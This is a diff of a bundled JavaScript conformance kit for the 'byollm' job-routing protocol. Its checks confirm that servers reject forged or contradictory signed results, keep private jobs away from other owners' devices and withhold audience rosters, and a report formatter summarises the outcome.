+ assert(
1874
+ opened.reason === "bad-signature",
1875
+ `refused for "${opened.reason}", not the signature \u2014 which is the property here`
1876
+ );
1877
+ const genuine = await fetchGenuine(target, daemon);
1878
+ assert(genuine, "a daemon could not open work its own site sealed");
1879
+ } finally {
1880
+ await daemon.dispose();
1881
+ }
1882
+ }
1883
+ },
1884
+ {
1885
+ id: "C030_SITE_REFUSES_UNSIGNED_RESULTS",
1886
+ title: "a site refuses a result not signed by the device that ran it",
1887
+ // The proof-of-possession half of `PROVENANCE_NAMES_DEVICE`: attribution
1888
+ // by a signature that verifies against the device the lease was granted
1889
+ // to, rather than by a key id carried beside the result. Carrying an id
1890
+ // is not proving possession, and a forger writes whatever it likes.
1891
+ musts: ["ENVELOPE_SEALED_AND_SIGNED", "PROVENANCE_NAMES_DEVICE"],
1892
+ async run(target) {
1893
+ const daemon = await pairDaemon(target, { owner: "alice" });
1894
+ try {
1895
+ const job = await target.enqueue({
1896
+ kind: "llm.generate",
1897
+ payload: { prompt: "who signed this" },
1898
+ owner: "alice"
1899
+ });
1900
+ const claimed = await claimOne(target, daemon);
1901
+ assert(claimed.id === job.id, "the harness could not claim its job");
1902
+ const relay = generateKeys(Date.now());
1903
+ const forged = await postResult(target, daemon, {
1904
+ jobId: job.id,
1905
+ leaseId: claimed.lease.id,
1906
+ outcome: { outcome: "ok", text: "an answer the device never gave" },
1907
+ sealWith: relay
1908
+ });
1909
+ assert(
1910
+ forged.status !== 200,
1911
+ "a site accepted a result signed by a key it never approved"
1912
+ );
1913
+ const afterForgery = await target.job(job.id);
1914
+ assert(
1915
+ afterForgery?.outcome === void 0,
1916
+ "a refused result still reached the app"
1917
+ );
1918
+ const real = await postResult(target, daemon, {
1919
+ jobId: job.id,
1920
+ leaseId: claimed.lease.id,
1921
+ outcome: { outcome: "ok", text: "the genuine answer" }
1922
+ });
1923
+ assert(
1924
+ real.status === 200,
1925
+ `a site refused a result its own device sealed (${String(real.status)})`
1926
+ );
1927
+ const lying = await postResult(target, daemon, {
1928
+ jobId: job.id,
1929
+ leaseId: claimed.lease.id,
1930
+ outcome: {
1931
+ outcome: "error",
1932
+ code: "backend-error",
1933
+ message: "it actually failed",
1934
+ retryable: false
1935
+ },
1936
+ disposition: "ok"
1937
+ });
1938
+ assert(
1939
+ lying.status !== 200,
1940
+ "a site believed a disposition the sealed outcome contradicted"
1941
+ );
1942
+ } finally {
1943
+ await daemon.dispose();
1944
+ }
1945
+ }
1946
+ },
1947
+ {
1948
+ id: "C032_SERVER_REFUSES_TO_OFFER",
1949
+ title: "a claim is not answered with work the claimer may not run",
1950
+ musts: ["AUDIENCE_BOTH_SIDES"],
1951
+ async run(target) {
1952
+ const bob = await pairDaemon(target, { owner: "bob", offer: "public" });
1953
+ try {
1954
+ const priv = await target.enqueue({
1955
+ kind: "llm.generate",
1956
+ payload: prompt("alice's own machines only"),
1957
+ owner: "alice",
1958
+ audience: "self"
1959
+ });
1960
+ const offered = await claimRaw(target, bob);
1961
+ assert(
1962
+ !offered.some((job) => job.id === priv.id),
1963
+ "a server offered a `self` job to a device its owner does not own"
1964
+ );
1965
+ const shared = await target.enqueue({
1966
+ kind: "llm.generate",
1967
+ payload: prompt("anyone may run this"),
1968
+ owner: "alice",
1969
+ audience: "public"
1970
+ });
1971
+ const second = await claimRaw(target, bob);
1972
+ assert(
1973
+ second.some((job) => job.id === shared.id),
1974
+ "a server withheld a `public` job from a public-offering device"
1975
+ );
1976
+ } finally {
1977
+ await bob.dispose();
1978
+ }
1979
+ }
1980
+ },
1981
+ {
1982
+ id: "C031_ROSTER_NOT_DISCLOSED",
1983
+ title: "a claimed stub carries no list of who may run the job",
1984
+ musts: ["ROSTER_NOT_DISCLOSED"],
1985
+ async run(target) {
1986
+ const daemon = await pairDaemon(target, { owner: "alice" });
1987
+ try {
1988
+ const job = await target.enqueue({
1989
+ kind: "llm.generate",
1990
+ payload: prompt("who else is on this roster"),
1991
+ owner: "alice",
1992
+ audience: "named",
1993
+ // The site restricts the job to people who are not this daemon's
1994
+ // owner. A stub that carried the list would be handing a routing
1995
+ // party the membership of alice's group.
1996
+ audienceAllow: ["alice", "carol", "erin"]
1997
+ });
1998
+ const claimed = await claimOne(target, daemon);
1999
+ assert(
2000
+ claimed.id === job.id,
2001
+ "the harness could not claim its own named job"
2002
+ );
2003
+ const asRecord = claimed;
2004
+ assert(
2005
+ asRecord["audienceAllow"] === void 0,
2006
+ "a claimed stub carried audienceAllow"
2007
+ );
2008
+ const parsed = ClaimedStub.safeParse(claimed);
2009
+ assert(
2010
+ parsed.success,
2011
+ "the claim response is not a valid stub, so its fields prove nothing"
2012
+ );
2013
+ const wire = JSON.stringify(claimed);
2014
+ for (const member of ["carol", "erin"]) {
2015
+ assert(
2016
+ !wire.includes(member),
2017
+ `a claimed stub disclosed roster member "${member}"`
2018
+ );
2019
+ }
2020
+ assert(
2021
+ claimed.audience === "named",
2022
+ "the stub lost the audience routing decides on"
2023
+ );
2024
+ assert(
2025
+ typeof claimed.owner === "string" && claimed.owner.length > 0,
2026
+ "the stub lost the owner"
2027
+ );
2028
+ } finally {
2029
+ await daemon.dispose();
2030
+ }
2031
+ }
2032
+ }
2033
+ ];
2034
+
2035
+ // src/certify.ts
2036
+ import {
2037
+ MUSTS,
2038
+ MUST_IDS,
2039
+ mustsVerifiedBy
2040
+ } from "@byollm/protocol";
2041
+ async function certify(target, options = {}) {
2042
+ const only = options.only;
2043
+ const selected = only ? CHECKS.filter((check) => only.includes(check.id)) : CHECKS;
2044
+ const results = [];
2045
+ for (const check of selected) {
2046
+ await target.reset();
2047
+ const started = Date.now();
2048
+ try {
2049
+ await check.run(target);
2050
+ const result = {
2051
+ check,
2052
+ passed: true,
2053
+ durationMs: Date.now() - started
2054
+ };
2055
+ results.push(result);
2056
+ options.onProgress?.(result);
2057
+ } catch (error) {
2058
+ const result = {
2059
+ check,
2060
+ passed: false,
2061
+ durationMs: Date.now() - started,
2062
+ error: error instanceof Error ? error.message : String(error)
2063
+ };
2064
+ results.push(result);
2065
+ options.onProgress?.(result);
2066
+ }
2067
+ }
2068
+ return {
2069
+ target: target.name,
2070
+ passed: results.every((result) => result.passed),
2071
+ results,
2072
+ uncoveredMusts: uncoveredMusts(selected)
2073
+ };
2074
+ }
2075
+ function uncoveredMusts(checks = CHECKS) {
2076
+ const covered = new Set(checks.flatMap((check) => check.musts));
2077
+ return mustsVerifiedBy("conformance").filter((id) => !covered.has(id));
2078
+ }
2079
+ function miscoveredMusts(checks = CHECKS) {
2080
+ return [...new Set(checks.flatMap((check) => check.musts))].filter((id) => MUSTS[id].verifiedBy !== "conformance").sort();
2081
+ }
2082
+ var VERIFICATION_NOTE = "(`adversarial` = proved by the reference daemon's own suites; `construction` = true by code shape; `operator` = a deployment claim, verifiable only by audit or source. None is asserted by this run.)";
2083
+ function formatReport(report) {
2084
+ const lines = [];
2085
+ lines.push(`byollm conformance \u2014 ${report.target}`);
2086
+ lines.push("");
2087
+ for (const result of report.results) {
2088
+ lines.push(
2089
+ ` ${result.passed ? "\u2713" : "\u2717"} ${result.check.id} ${result.check.title} (${String(result.durationMs)}ms)`
2090
+ );
2091
+ if (!result.passed && result.error !== void 0) {
2092
+ lines.push(` ${result.error}`);
2093
+ }
2094
+ }
2095
+ const failed = report.results.filter((result) => !result.passed).length;
2096
+ lines.push("");
2097
+ lines.push(
2098
+ report.passed ? ` ${String(report.results.length)} checks passed \u2014 ${report.target} is byollm-compatible.` : ` ${String(failed)} of ${String(report.results.length)} checks failed \u2014 not compatible.`
2099
+ );
2100
+ if (report.uncoveredMusts.length > 0) {
2101
+ lines.push("");
2102
+ lines.push(" MUSTs this kit can assert but does not yet:");
2103
+ for (const id of report.uncoveredMusts) {
2104
+ lines.push(` - ${id}: ${MUSTS[id].statement}`);
2105
+ }
2106
+ }
2107
+ const elsewhere = MUST_IDS.filter(
2108
+ (id) => MUSTS[id].verifiedBy !== "conformance"
2109
+ );
2110
+ if (elsewhere.length > 0) {
2111
+ lines.push("");
2112
+ lines.push(" Verified elsewhere, not by this kit:");
2113
+ for (const kind of ["adversarial", "construction", "operator"]) {
2114
+ const ids = elsewhere.filter((id) => MUSTS[id].verifiedBy === kind);
2115
+ if (ids.length === 0) continue;
2116
+ lines.push(` ${kind}: ${ids.join(", ")}`);
2117
+ }
2118
+ lines.push(` ${VERIFICATION_NOTE}`);
2119
+ }
2120
+ return `${lines.join("\n")}
2121
+ `;
2122
+ }
2123
+
2124
+ export {
2125
+ EchoBackend,
2126
+ pairDaemon,
2127
+ ownerIdFor,
2128
+ waitFor,
2129
+ sleep,
2130
+ advance,
2131
+ CHECKS,
2132
+ certify,
2133
+ uncoveredMusts,
2134
+ miscoveredMusts,
2135
+ formatReport
2136
+ };
2137
+ //# sourceMappingURL=chunk-XBHNJDI7.js.map